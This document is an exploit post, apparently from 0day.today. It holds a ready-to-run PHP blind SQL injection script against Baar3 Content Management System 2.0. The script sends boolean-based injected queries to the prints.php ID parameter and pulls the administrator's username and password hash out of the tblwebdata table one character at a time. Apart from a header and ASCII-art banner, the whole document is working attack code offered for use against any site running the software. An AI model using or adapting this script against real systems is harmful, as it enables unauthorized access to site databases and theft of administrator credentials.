Baar3 Content Managment System BSQLI Vulnerability

# Exploit Title: [+] Baar3 Content Managment System BSQLI Vulnerable [+]
# Google Dork: [+] No Dork's [+]
# Author: [+] h1kt0s4 437Cr3w  [+]
# Home  : [+] 437Cr3w.org | AfghanExploiter.af  [+] Soon 
# Software Link: [+]http://baar3.orbit.net.sa/[+] [+] Script Price 1000$ :D Shit [+] 
# Version: [+]2.0[+]
# Tested on: [+]Tested On Windows 7 & Fedora 14[+]
# CVE : [if exists]


[+] Exploit [+] 

#!/usr/bin/php -e
<?php
ini_set("max_execution_time",0);

print_r('
                \\\\\\|///////
                 \\\\\|//////
                  \\ - -  //
                  %( @ @ )%
           ----oOOo--(*)-oOOo---------------------------
           |@~~=Author   : h1kt0s4  437Cr3w    		    |
           |                                            |
           |@~~=Greetz    : All muslims && All Friends  |
           |                                            |
           | Blind SQL Injection Exploit                |
           | exploit -> include/prints.php?ID=null <-   |
           | php blind.php "http://www.site.com/"       |
           ---------------Ooooo-------------------------
                          ( ) )
                 ooooO     ))/
                 ( ( )    (_/
                  \((
                   \_)


');
$hack = "include/prints.php?page=print&ID=12";
if ($argc > 1) {
$url = $argv[1];
$uu = strlen(file_get_contents($url.$hack."+and+1=1--"));
echo "Exploiting:\n------------------------\n";
$u = strlen(file_get_contents($url.$hack."+and+1=0--"));
$t = abs((100-($u/$uu*100)));
echo "user: ";
for ($i=1; $i <= 30; $i++) {
$laenge = strlen(file_get_contents($url.$hack."+and+ascii(substring((select+fusername+from+tblwebdata+limit+0,1),".$i.",1))!=0--"));
   if (abs((100-($laenge/$uu*100))) > $t-1) {
      $count = $i;
      $i = 30;
   }
}
for ($j = 1; $j < $count; $j++) {
   for ($i = 46; $i <= 122; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url.$hack."+and+ascii(substring((select+fusername+from+tblwebdata+limit+0,1),".$j.",1))%3E".$i."--"));
      if (abs((100-($laenge/$uu*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url.$hack."+and+ascii(substring((select+fusername+from+tblwebdata+limit+0,1),".$j.",1))%3E".($i-1)."--"));
         if (abs((100-($laenge/$uu*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 122;
      }
   }
}
echo "\n------------------------\nPass: ";
for ($j = 1; $j <= 41; $j++) {
   for ($i = 41; $i <= 102; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url.$hack."+and+ascii(substring((select+fpassword+from+tblwebdata+limit+0,1),".$j.",1))%3E".$i."--"));
      if (abs((100-($laenge/$uu*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url.$hack."+and+ascii(substring((select+fpassword+from+tblwebdata+limit+0,1),".$j.",1))%3E".($i-1)."--"));
         if (abs((100-($laenge/$uu*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 102;
      }
   }
}
}
echo "\n------------------------\n hash:MysqL4:or:MysqL5";
echo "\n'\(^_^)/'\n";
echo "------------------------\n"
?>



#  0day.today [2018-03-14]  #